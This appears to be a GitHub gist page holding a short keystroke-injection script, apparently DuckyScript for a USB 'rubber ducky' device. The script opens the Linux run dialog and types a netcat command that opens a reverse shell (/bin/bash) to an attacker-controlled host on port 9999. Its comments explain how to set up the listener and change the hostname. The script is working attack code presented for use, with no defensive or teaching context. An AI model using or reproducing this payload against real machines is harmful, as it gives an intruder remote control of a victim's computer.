Skip to content

Instantly share code, notes, and snippets.

@JonnyBanana
Created April 17, 2018 03:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnyBanana/a26528f2f2e044b07ebc9d2fba687050 to your computer and use it in GitHub Desktop.
Save JonnyBanana/a26528f2f2e044b07ebc9d2fba687050 to your computer and use it in GitHub Desktop.
REM Get a reverse shell usign ncat.
REM Run `nc -l 9999` to wait for the reverse shell.
REM Make sure to update the hostname before using it.
DELAY 1000
ALT F2
DELAY 100
STRING sh -c "nc -e /bin/bash eternal-pickle 9999"
REM Delay to make it work in KDE. Not sure why that's necessary.
DELAY 100
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment